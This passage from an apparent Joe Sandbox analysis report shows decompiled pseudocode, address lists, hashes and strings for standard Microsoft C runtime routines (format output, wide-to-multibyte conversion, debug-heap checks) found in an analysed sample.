																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00b96a5b
0x00b96a5b
0x00b96a5b
0x00b96a5b
0x00b96a61
0x00b96a64
0x00000000
0x00b96ae2
0x00000000
0x00b96ae2
0x00000000
0x00b96ae2
0x00b96ae2
0x00b96aea
0x00b96b0c
0x00b96b12
0x00b96b37
0x00b96b7e
0x00b96b81
0x00b96ba2
0x00b96ba7
0x00b96bac
0x00b96bb2
0x00b96b83
0x00b96b87
0x00b96b8c
0x00b96b8f
0x00b96b90
0x00b96b96
0x00b96b96
0x00b96b39
0x00b96b3c
0x00b96b3f
0x00b96b61
0x00b96b66
0x00b96b6c
0x00b96b6d
0x00b96b73
0x00b96b41
0x00b96b45
0x00b96b4a
0x00b96b4e
0x00b96b4f
0x00b96b55
0x00b96b55
0x00b96b79
0x00b96b14
0x00b96b18
0x00b96b1d
0x00b96b20
0x00b96b26
0x00b96b26
0x00b96aec
0x00b96af0
0x00b96af5
0x00b96af8
0x00b96afe
0x00b96afe
0x00b96bbe
0x00b96c00
0x00b96c06
0x00b96c12
0x00000000
0x00b96bc0
0x00b96bc0
0x00b96bc0
0x00b96bc7
0x00000000
0x00b96bd4
0x00b96bd4
0x00b96be2
0x00b96be7
0x00b96bed
0x00b96bfb
0x00b96c18
0x00b96c20
0x00b96c42
0x00b96c42
0x00b96c4c
0x00b96c5d
0x00b96c67
0x00b96c69
0x00b96c69
0x00b96c4e
0x00b96c4e
0x00b96c4e
0x00b96c7c
0x00b96c7e
0x00b96c7e
0x00b96c8b
0x00b96c8e
0x00b96c8e
0x00b96c94
0x00b96c97
0x00b96c9c
0x00000000
0x00000000
0x00b96cac
0x00b96caf
0x00b96cb9
0x00b96cc8
0x00b96cd1
0x00b96ce7
0x00b96ced
0x00b96cfa
0x00b96d08
0x00b96d08
0x00b96d17
0x00b96d1f
0x00b96d1f
0x00b96d27
0x00b96d30
0x00b96d39
0x00b96d45
0x00b96d5e
0x00b96d64
0x00b96d6d
0x00b96d6d
0x00000000
0x00b96d70
0x00000000
0x00b96d70
0x00000000
0x00b96d70
0x00000000
0x00b96d70
0x00000000
0x00b96d70
0x00000000
0x00b96d70
0x00000000
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d74
0x00b96f50
0x00b96f54
0x00b96f5c
0x00b96f61
0x00b96f64
0x00b96f64
0x00b96f6b
0x00b96f6b
0x00b960eb
0x00b960f2
0x00b960ff
0x00b96104
0x00000000
0x00b96117
0x00b96121
0x00b96148
0x00b9612f
0x00b96140
0x00b96140
0x00b96121
0x00b96152
0x00b96158
0x00b96164
0x00b96167
0x00b96175
0x00b96178
0x00b96185
0x00b9622a
0x00b96230
0x00b9623d
0x00000000
0x00000000
0x00b96243
0x00b96249
0x00000000
0x00b96250
0x00b96250
0x00b9626a
0x00b9626f
0x00000000
0x00000000
0x00b96277
0x00b96277
0x00b9627e
0x00b96281
0x00b96284
0x00b96287
0x00b9628a
0x00b9628d
0x00b96290
0x00b96297
0x00b9629e
0x00000000
0x00000000
0x00b962aa
0x00b962aa
0x00b962b1
0x00b962bd
0x00b962c0
0x00b962cd
0x00000000
0x00000000
0x00b962cf
0x00b962d5
0x00b962d5
0x00b962dc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b96320
0x00b96320
0x00b9632a
0x00b96357
0x00b96361
0x00b96361
0x00b96365
0x00b9632c
0x00b9632c
0x00b96338
0x00b9633f
0x00b96344
0x00b96347
0x00b9634a
0x00b9634d
0x00b9634f
0x00b9634f
0x00b96352
0x00000000
0x00000000
0x00b9636d
0x00b9636d
0x00000000
0x00000000
0x00b96379
0x00b96379
0x00b96383
0x00b963a3
0x00b963a6
0x00b963b0
0x00b963b0
0x00b963b4
0x00b96385
0x00b96385
0x00b96391
0x00b96398
0x00b9639a
0x00b9639a
0x00b963a1
0x00000000
0x00000000
0x00b963bc
0x00b963bc
0x00b963c3
0x00b963cf
0x00b963d2
0x00b963df
0x00b964f2
0x00000000
0x00b964f2
0x00b963e5
0x00b963eb
0x00b963eb
0x00b963f2
0x00000000
0x00b96429
0x00b96429
0x00b9642c
0x00b96432
0x00b96459
0x00b96459
0x00b9645c
0x00b96462
0x00b96486
0x00b96486
0x00b96489
0x00b9648f
0x00b964c8
0x00b964d9
0x00000000
0x00b964d9
0x00b96491
0x00b96491
0x00b96494
0x00b9649a
0x00000000
0x00000000
0x00b9649c
0x00b9649c
0x00b9649f
0x00b964a5
0x00000000
0x00000000
0x00b964a7
0x00b964a7
0x00b964aa
0x00b964b0
0x00000000
0x00000000
0x00b964b2
0x00b964b2
0x00b964b5
0x00b964bb
0x00000000
0x00000000
0x00b964bd
0x00b964bd
0x00b964c0
0x00b964c6
0x00b964ca
0x00000000
0x00b964ca
0x00000000
0x00b964c6
0x00b96464
0x00b96464
0x00b96467
0x00b9646e
0x00000000
0x00b96470
0x00b96473
0x00b96476
0x00b9647c
0x00b96481
0x00000000
0x00b96481
0x00b9646e
0x00b96434
0x00b96434
0x00b96437
0x00b9643e
0x00000000
0x00b96440
0x00b96443
0x00b96446
0x00b9644c
0x00b96451
0x00000000
0x00b96451
0x00000000
0x00b964db
0x00b964db
0x00b964de
0x00b964e1
0x00000000
0x00000000
0x00b963f9
0x00b963f9
0x00b963fc
0x00b96402
0x00b9641e
0x00b96421
0x00b96404
0x00b96404
0x00b96407
0x00b9640a
0x00b96410
0x00b96416
0x00b96416
0x00000000
0x00000000
0x00b964e6
0x00b964e9
0x00b964ef
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b962f9
0x00b962f9
0x00b962fc
0x00b962ff
0x00000000
0x00000000
0x00b96304
0x00b96307
0x00b9630d
0x00000000
0x00000000
0x00b962ee
0x00b962f1
0x00b962f4
0x00000000
0x00000000
0x00b962e3
0x00b962e6
0x00b962e9
0x00000000
0x00000000
0x00b96312
0x00b96315
0x00b96318
0x00000000
0x00000000
0x00b9631b
0x00000000
0x00000000
0x00b9618b
0x00b9618b
0x00b9618d
0x00b9619b
0x00b9618f
0x00b9618f
0x00b9618f
0x00b961ab
0x00b961b8
0x00b961ba
0x00b961bf
0x00b961c1
0x00b961c6
0x00b961cb
0x00b961cd
0x00b961d2
0x00b961d8
0x00b961da
0x00b961da
0x00b961d8
0x00b961db
0x00b961e2
0x00000000
0x00b961e4
0x00b961e9
0x00b96205
0x00b9620d
0x00b9621a
0x00b9621f
0x00b97034
0x00b97041
0x00b97041
0x00b961e2
0x00b96185
0x00b96f70
0x00b96f77
0x00b96f8e
0x00b96f82
0x00b96f82
0x00b96f82
0x00b96f98
0x00b96f9e
0x00b96fab
0x00b96fad
0x00b96fb2
0x00b96fb4
0x00b96fb9
0x00b96fbe
0x00b96fc0
0x00b96fc5
0x00b96fcb
0x00b96fcd
0x00b96fcd
0x00b96fcb
0x00b96fd5
0x00b97020
0x00b97029
0x00b9702e
0x00b96fd7
0x00b96fdc
0x00b96ff8
0x00b97000
0x00b9700d
0x00b97012
0x00b97012
0x00000000
0x00b96fd5
0x00b96d7a
0x00b96d80
0x00b96d8a
0x00b96da4
0x00b96dbe
0x00b96dc5
0x00b96dc9
0x00b96dc9
0x00b96da6
0x00b96dab
0x00b96daf
0x00b96daf
0x00b96d8c
0x00b96d91
0x00b96d95
0x00b96d95
0x00b96d8a
0x00b96dd9
0x00b96de5
0x00b96dfb
0x00b96e00
0x00b96e00
0x00b96e16
0x00b96e1b
0x00b96e24
0x00b96e42
0x00b96e47
0x00b96e47
0x00b96e4e
0x00b96f08
0x00b96f1b
0x00b96f20
0x00000000
0x00b96e5e
0x00b96e5e
0x00b96e61
0x00b96e6a
0x00b96e70
0x00b96e70
0x00b96e7f
0x00b96e87
0x00000000
0x00000000
0x00b96e89
0x00b96e8c
0x00b96eb1
0x00b96eb6
0x00b96eb9
0x00b96ec6
0x00b96ed4
0x00b96ee7
0x00b96eec
0x00b96efb
0x00000000
0x00b96efb
0x00b96ec8
0x00b96ec8
0x00000000
0x00b96ec8
0x00b96f06
0x00b96f23
0x00b96f2a
0x00b96f48
0x00b96f4d
0x00b96f4d
0x00000000
0x00b96f2a
0x00b964f7
0x00b964f7
0x00b964fe
0x00b96504
0x00b9650a
0x00b9650d
0x00b96513
0x00b96520
0x00b96526
0x00b96526
0x00b9652d
0x00000000
0x00b968b1
0x00b968b1
0x00b968bf
0x00b968c2
0x00000000
0x00000000
0x00b96534
0x00b96537
0x00b9653d
0x00b96542
0x00b96545
0x00b96545
0x00000000
0x00000000
0x00b9667a
0x00b9667d
0x00b96682
0x00b96687
0x00b9668a
0x00b9668a
0x00000000
0x00000000
0x00b96a7d
0x00b96a7d
0x00000000
0x00000000
0x00b965e4
0x00b965e4
0x00b965f0
0x00b965fd
0x00b9660b
0x00b9660b
0x00b96611
0x00b96614
0x00b96620
0x00b96675
0x00000000
0x00b96675
0x00b965ff
0x00b965ff
0x00b96609
0x00b96625
0x00b96628
0x00b9662e
0x00b96656
0x00b9665d
0x00b96663
0x00b96666
0x00b96669
0x00b9666f
0x00b96672
0x00b96630
0x00b96630
0x00b96636
0x00b96639
0x00b9663c
0x00b96642
0x00b96645
0x00b96648
0x00b9664a
0x00b9664d
0x00b9664d
0x00000000
0x00b9662e
0x00000000
0x00000000
0x00b968c9
0x00b968cc
0x00b968cf
0x00b968d2
0x00b968d8
0x00b968db
0x00b968e6
0x00b968f1
0x00b968f5
0x00b9690c
0x00b96913
0x00b96915
0x00b96915
0x00b9691c
0x00b96923
0x00b96931
0x00b96934
0x00b96943
0x00b9694a
0x00b9695f
0x00b9694c
0x00b9694c
0x00b9694f
0x00b96955
0x00b9695a
0x00b9695a
0x00b9694a
0x00b96969
0x00b9696c
0x00b9696f
0x00b96972
0x00b96975
0x00b96978
0x00b9697e
0x00b96984
0x00b9698c
0x00b9698d
0x00b96990
0x00b96991
0x00b96994
0x00b96995
0x00b9699c
0x00b9699d
0x00b969a0
0x00b969a1
0x00b969a4
0x00b969a5
0x00b969ab
0x00b969ac
0x00b969bb
0x00b969bd
0x00b969c3
0x00b969c8
0x00b969d0
0x00b969d8
0x00b969d9
0x00b969dc
0x00b969dd
0x00b969ec
0x00b969ee
0x00b969ee
0x00b969f1
0x00b969fb
0x00b96a00
0x00b96a06
0x00b96a08
0x00b96a10
0x00b96a11
0x00b96a14
0x00b96a15
0x00b96a23
0x00b96a25
0x00b96a25
0x00b96a06
0x00b96a28
0x00b96a2b
0x00b96a31
0x00b96a36
0x00b96a3b
0x00b96a41
0x00b96a44
0x00b96a44
0x00b96a47
0x00b96a53
0x00000000
0x00b96a53
0x00b968f7
0x00b968f7
0x00b96901
0x00000000
0x00000000
0x00b96903
0x00b96903
0x00000000
0x00b96903
0x00b968e8
0x00b968e8
0x00000000
0x00000000
0x00b96548
0x00b96548
0x00b96553
0x00b9655b
0x00b96562
0x00b96565
0x00b96568
0x00b965c8
0x00b9656a
0x00b96571
0x00b96577
0x00b9657d
0x00b96584
0x00b96587
0x00b9658d
0x00b96595
0x00b96597
0x00b9659e
0x00b965a5
0x00b965b6
0x00b965b8
0x00b965b8
0x00b965bf
0x00b965cf
0x00b965d5
0x00b965d8
0x00000000
0x00000000
0x00000000
0x00000000
0x00b967ba
0x00b967ba
0x00b967c6
0x00b967d3
0x00b9687d
0x00b9687d
0x00b96880
0x00b96883
0x00b96897
0x00b9689d
0x00b968a3
0x00b96885
0x00b96885
0x00b9688b
0x00b96892
0x00b96892
0x00b968a5
0x00000000
0x00b968a5
0x00b967d9
0x00b967d9
0x00b967db
0x00b967e9
0x00b967dd
0x00b967dd
0x00b967dd
0x00b967f3
0x00b967f9
0x00b96806
0x00b96808
0x00b9680d
0x00b9680f
0x00b96814
0x00b96819
0x00b9681b
0x00b96820
0x00b96826
0x00b96828
0x00b96828
0x00b96826
0x00b96830
0x00b96878
0x00000000
0x00b96832
0x00b96832
0x00b96837
0x00b96853
0x00b9685b
0x00b96865
0x00b96868
0x00b9686d
0x00000000
0x00b9686d
0x00000000
0x00b96ac4
0x00b96ac4
0x00b96ace
0x00b96ad4
0x00b96ad9
0x00b96adf
0x00b96adf
0x00000000
0x00000000
0x00b96a76
0x00b96a76
0x00000000
0x00000000
0x00b9668d
0x00b96691
0x00b9669f
0x00b966a2
0x00b96693
0x00b96693
0x00b96693
0x00b966a8
0x00b966ae
0x00b966b4
0x00b966c0
0x00b966c6
0x00b966c9
0x00b96751
0x00b96755
0x00b96757
0x00b9675d
0x00b9675d
0x00b96760
0x00b96767
0x00b9676a
0x00b96770
0x00b96770
0x00b96770
0x00b96776
0x00b9677c
0x00b9677f
0x00b96787
0x00000000
0x00000000
0x00b96789
0x00b96789
0x00b9678f
0x00b96794
0x00000000
0x00000000
0x00b96796
0x00b9679c
0x00b9679f
0x00b9679f
0x00b967a7
0x00b967ad
0x00b967b0
0x00b967b2
0x00000000
0x00b966cf
0x00b966cf
0x00b966d3
0x00b966d5
0x00b966da
0x00b966da
0x00b966dd
0x00b966e0
0x00b966e6
0x00b966f8
0x00b966f8
0x00b966f8
0x00b96701
0x00000000
0x00000000
0x00b96703
0x00b96703
0x00b96709
0x00b9670e
0x00000000
0x00000000
0x00b96710
0x00b96710
0x00b96719
0x00b9671f
0x00b9672d
0x00b96735
0x00b96738
0x00b96738
0x00b96744
0x00b96747
0x00b966f2
0x00b966f5
0x00b966f5
0x00b9674f
0x00b967b5
0x00000000
0x00b967b5
0x00000000
0x00b96a6d
0x00b96a6d
0x00000000
0x00000000
0x00b96a89
0x00b96a89
0x00b96a93
0x00b96a93
0x00b96a9d
0x00b96aa3
0x00b96aa5
0x00b96aaa
0x00b96ab4
0x00b96ab7
0x00b96abb
0x00b96abb
0x00000000
0x00000000
0x00000000
0x00000000
0x00b9652d
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96bc7
0x00b96bbe
0x00b96ae2
0x00b96ae2
0x00b96ae2

APIs

_get_int64_arg.LIBCMTD ref: 00B96AF0
_get_int64_arg.LIBCMTD ref: 00B96B18
__aullrem.LIBCMT ref: 00B96CC0
__aulldiv.LIBCMT ref: 00B96CE2
_write_multi_char.LIBCMTD ref: 00B96DFB
_write_string.LIBCMTD ref: 00B96E16
_write_multi_char.LIBCMTD ref: 00B96E42
__mbtowc_l.LIBCMTD ref: 00B96EB1

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00B961C6, 00B961F6
("Incorrect format specifier", 0), xrefs: 00B961BA, 00B96200
_woutput_s_l, xrefs: 00B961FB
9, xrefs: 00B96CF3

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: c72948c7bdc89c2b327c03f3a0408963560122482a58fa10c31c8219c298ba8f
Instruction ID: cfe15d208459a5f3cd48aeb8b46958b822b1ba2bf905e3cb5af8158611844a21
Opcode Fuzzy Hash: c72948c7bdc89c2b327c03f3a0408963560122482a58fa10c31c8219c298ba8f
Instruction Fuzzy Hash: B6F105B1E002299FDF24CF58C881BAEB7F5EB85304F1481E9E259AB251D7349E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00B927C3 Relevance: 33.3, APIs: 22, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00B927C3() {
				intOrPtr* _t143;
				signed int* _t145;
				int _t150;
				intOrPtr* _t167;
				intOrPtr _t189;
				void* _t206;
				intOrPtr _t223;
				intOrPtr _t230;
				void* _t272;
				void* _t273;
				signed int _t274;

				if( *(_t274 + 8) == 0) {
					_t143 = E00B7C680(_t274 - 0x20);
					_t208 =  *_t143;
					if( *((intOrPtr*)( *_t143 + 0x14)) != 0) {
						_t210 = _t274 - 0x20;
						_t145 = E00B7C680(_t274 - 0x20);
						_t256 =  *_t145;
						 *(_t274 - 4) = WideCharToMultiByte( *( *_t145 + 4), 0,  *(_t274 + 0xc), 0xffffffff, 0, 0, 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							 *((intOrPtr*)(L00B80C60(_t210))) = 0x2a;
							 *(_t274 - 0x68) = 0xffffffff;
							E00B7C650(_t274 - 0x20);
							_t150 =  *(_t274 - 0x68);
						} else {
							 *(_t274 - 0x6c) =  *(_t274 - 4) - 1;
							E00B7C650(_t274 - 0x20);
							_t150 =  *(_t274 - 0x6c);
						}
					} else {
						_t256 =  *(_t274 + 0xc);
						 *(_t274 - 0x64) = E00B899A0(_t208,  *(_t274 + 0xc));
						E00B7C650(_t274 - 0x20);
						_t150 =  *(_t274 - 0x64);
					}
					L47:
					return E00B805D0(_t150, _t206,  *(_t274 - 0x24) ^ _t274, _t256, _t272, _t273);
				}
				if( *((intOrPtr*)( *((intOrPtr*)(E00B7C680(_t274 - 0x20))) + 0x14)) != 0) {
					if( *((intOrPtr*)( *((intOrPtr*)(E00B7C680(_t274 - 0x20))) + 0xac)) != 1) {
						_t223 =  *((intOrPtr*)(E00B7C680(_t274 - 0x20)));
						_t256 =  *(_t223 + 4);
						 *(_t274 - 4) = WideCharToMultiByte( *(_t223 + 4), 0,  *(_t274 + 0xc), 0xffffffff,  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							if( *(_t274 - 0x10) != 0 || GetLastError() != 0x7a) {
								 *((intOrPtr*)(L00B80C60(_t223))) = 0x2a;
								 *(_t274 - 0x4c) = 0xffffffff;
								E00B7C650(_t274 - 0x20);
								_t150 =  *(_t274 - 0x4c);
							} else {
								while( *(_t274 - 4) <  *(_t274 + 0x10)) {
									_t167 = E00B7C680(_t274 - 0x20);
									_t230 =  *((intOrPtr*)(E00B7C680(_t274 - 0x20)));
									_t256 =  *(_t230 + 4);
									 *((intOrPtr*)(_t274 - 0xc)) = WideCharToMultiByte( *(_t230 + 4), 0,  *(_t274 + 0xc), 1, _t274 - 0x2c,  *( *_t167 + 0xac), 0, _t274 - 0x10);
									if( *((intOrPtr*)(_t274 - 0xc)) == 0 ||  *(_t274 - 0x10) != 0) {
										 *((intOrPtr*)(L00B80C60(_t230))) = 0x2a;
										 *(_t274 - 0x50) = 0xffffffff;
										E00B7C650(_t274 - 0x20);
										_t150 =  *(_t274 - 0x50);
									} else {
										if( *((intOrPtr*)(_t274 - 0xc)) < 0 ||  *((intOrPtr*)(_t274 - 0xc)) > 5) {
											 *((intOrPtr*)(L00B80C60(_t230))) = 0x2a;
											 *(_t274 - 0x54) = 0xffffffff;
											E00B7C650(_t274 - 0x20);
											_t150 =  *(_t274 - 0x54);
										} else {
											if( *(_t274 - 4) +  *((intOrPtr*)(_t274 - 0xc)) <=  *(_t274 + 0x10)) {
												 *(_t274 - 8) = 0;
												while( *(_t274 - 8) <  *((intOrPtr*)(_t274 - 0xc))) {
													( *(_t274 + 8))[ *(_t274 - 4)] =  *((intOrPtr*)(_t274 +  *(_t274 - 8) - 0x2c));
													_t256 =  &(( *(_t274 + 8))[ *(_t274 - 4)]);
													if(( *(_t274 + 8))[ *(_t274 - 4)] != 0) {
														 *(_t274 - 8) =  *(_t274 - 8) + 1;
														 *(_t274 - 4) =  *(_t274 - 4) + 1;
														continue;
													}
													 *(_t274 - 0x5c) =  *(_t274 - 4);
													E00B7C650(_t274 - 0x20);
													_t150 =  *(_t274 - 0x5c);
													goto L47;
												}
												_t256 =  &(( *(_t274 + 0xc))[1]);
												 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
												continue;
											}
											 *(_t274 - 0x58) =  *(_t274 - 4);
											E00B7C650(_t274 - 0x20);
											_t150 =  *(_t274 - 0x58);
										}
									}
									goto L47;
								}
								 *(_t274 - 0x60) =  *(_t274 - 4);
								E00B7C650(_t274 - 0x20);
								_t150 =  *(_t274 - 0x60);
							}
						} else {
							 *(_t274 - 0x48) =  *(_t274 - 4) - 1;
							E00B7C650(_t274 - 0x20);
							_t150 =  *(_t274 - 0x48);
						}
						goto L47;
					}
					if( *(_t274 + 0x10) > 0) {
						 *(_t274 + 0x10) = E00B92BB0( *(_t274 + 0xc),  *(_t274 + 0x10));
					}
					_t256 =  *(_t274 + 0xc);
					_t189 =  *((intOrPtr*)(E00B7C680(_t274 - 0x20)));
					_t243 =  *(_t189 + 4);
					 *(_t274 - 4) = WideCharToMultiByte( *(_t189 + 4), 0,  *(_t274 + 0xc),  *(_t274 + 0x10),  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
					if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
						 *((intOrPtr*)(L00B80C60(_t243))) = 0x2a;
						 *(_t274 - 0x44) = 0xffffffff;
						E00B7C650(_t274 - 0x20);
						_t150 =  *(_t274 - 0x44);
					} else {
						if( *((char*)( &(( *(_t274 + 8))[ *(_t274 - 4)]) - 1)) == 0) {
							 *(_t274 - 4) =  *(_t274 - 4) - 1;
						}
						_t256 =  *(_t274 - 4);
						 *(_t274 - 0x40) =  *(_t274 - 4);
						E00B7C650(_t274 - 0x20);
						_t150 =  *(_t274 - 0x40);
					}
					goto L47;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t248 =  *(_t274 - 4);
					if( *(_t274 - 4) >=  *(_t274 + 0x10)) {
						break;
					}
					_t256 =  *(_t274 + 0xc);
					if(( *( *(_t274 + 0xc)) & 0x0000ffff) <= 0xff) {
						( *(_t274 + 8))[ *(_t274 - 4)] =  *( *(_t274 + 0xc));
						_t256 =  *( *(_t274 + 0xc)) & 0x0000ffff;
						 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
						if(( *( *(_t274 + 0xc)) & 0x0000ffff) != 0) {
							_t256 =  *(_t274 - 4) + 1;
							 *(_t274 - 4) =  *(_t274 - 4) + 1;
							continue;
						}
						 *(_t274 - 0x38) =  *(_t274 - 4);
						E00B7C650(_t274 - 0x20);
						_t150 =  *(_t274 - 0x38);
					} else {
						 *((intOrPtr*)(L00B80C60(_t248))) = 0x2a;
						 *(_t274 - 0x34) = 0xffffffff;
						E00B7C650(_t274 - 0x20);
						_t150 =  *(_t274 - 0x34);
					}
					goto L47;
				}
				 *(_t274 - 0x3c) =  *(_t274 - 4);
				E00B7C650(_t274 - 0x20);
				_t150 =  *(_t274 - 0x3c);
				goto L47;
			}

0x00b927c7
0x00b92afe
0x00b92b03
0x00b92b09
0x00b92b3b
0x00b92b3e
0x00b92b43
0x00b92b4f
0x00b92b56
0x00b92b63
0x00b92b69
0x00b92b73
0x00b92b78
0x00b92b7d
0x00b92b83
0x00b92b89
0x00b92b8e
0x00b92b8e
0x00b92b0b
0x00b92b0b
0x00b92b17
0x00b92b1d
0x00b92b22
0x00b92b22
0x00b92b9b
0x00b92ba8
0x00b92ba8
0x00b927db
0x00b92885
0x00b92951
0x00b92953
0x00b9295d
0x00b92964
0x00b92989
0x00b9299b
0x00b929a1
0x00b929ab
0x00b929b0
0x00b929b8
0x00b929b8
0x00b929cd
0x00b929ef
0x00b929f1
0x00b929fb
0x00b92a02
0x00b92a0f
0x00b92a15
0x00b92a1f
0x00b92a24
0x00b92a2c
0x00b92a30
0x00b92a3d
0x00b92a43
0x00b92a4d
0x00b92a52
0x00b92a5a
0x00b92a63
0x00b92a7b
0x00b92a96
0x00b92aab
0x00b92ab0
0x00b92ab8
0x00b92a8a
0x00b92a93
0x00000000
0x00b92a93
0x00b92abd
0x00b92ac3
0x00b92ac8
0x00000000
0x00b92ac8
0x00b92ad5
0x00b92ad8
0x00000000
0x00b92ad8
0x00b92a68
0x00b92a6e
0x00b92a73
0x00b92a73
0x00b92a30
0x00000000
0x00b92a02
0x00b92ae3
0x00b92ae9
0x00b92aee
0x00b92aee
0x00b9296c
0x00b92972
0x00b92978
0x00b9297d
0x00b9297d
0x00000000
0x00b92964
0x00b9288f
0x00b928a1
0x00b928a1
0x00b928b6
0x00b928c4
0x00b928c6
0x00b928d0
0x00b928d7
0x00b92911
0x00b92917
0x00b92921
0x00b92926
0x00b928df
0x00b928eb
0x00b928f3
0x00b928f3
0x00b928f6
0x00b928f9
0x00b928ff
0x00b92904
0x00b92904
0x00000000
0x00000000
0x00000000
0x00000000
0x00b927e1
0x00b927e1
0x00b927e1
0x00b927e7
0x00000000
0x00000000
0x00b927e9
0x00b927f4
0x00b92823
0x00b92828
0x00b92831
0x00b92836
0x00b92851
0x00b92854
0x00000000
0x00b92854
0x00b9283b
0x00b92841
0x00b92846
0x00b927f6
0x00b927fb
0x00b92801
0x00b9280b
0x00b92810
0x00b92810
0x00000000
0x00b927f4
0x00b9285c
0x00b92862
0x00b92867
0x00000000

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00B9280B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00B92841
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00B92862
wcsncnt.LIBCMTD ref: 00B92899
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00B928CA
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00B928FF
_wcslen.LIBCMTD ref: 00B92B0F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00B92B1D

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide_wcslenwcsncnt
String ID:
API String ID: 4277434810-0
Opcode ID: 27a3f8b8984bb45ac19a2cac85a780e25f0e6b0c473dcac55f3d44984ef91cbe
Instruction ID: ff4fefeaed8ba5e39a54427fec3d1341a503ee606a1123fa4c7ea6a84eebed4a
Opcode Fuzzy Hash: 27a3f8b8984bb45ac19a2cac85a780e25f0e6b0c473dcac55f3d44984ef91cbe
Instruction Fuzzy Hash: 63D1A375900108EFCF14EF94C895AEEBBF1FF44314F2085A9E4266B2A1DB34AE45DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B7EC25 Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 00B7EC39
__CrtIsValidHeapPointer.LIBCMTD ref: 00B7ECC5
_CheckBytes.LIBCMTD ref: 00B7ED70
_CheckBytes.LIBCMTD ref: 00B7EE2A
_memset.LIBCMT ref: 00B7EF21
__free_base.LIBCMTD ref: 00B7EF2D

Strings

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 00B7EDF7
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 00B7EDB9
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 00B7ED2F
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 00B7EC49
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 00B7EEEA
tDj, xrefs: 00B7EC7B
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 00B7EE73
Client hook free failure., xrefs: 00B7EC9C
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 00B7EEB1
_CrtIsValidHeapPointer(pUserData), xrefs: 00B7ECD1
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 00B7ECDD, 00B7ED3B, 00B7EEF6

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

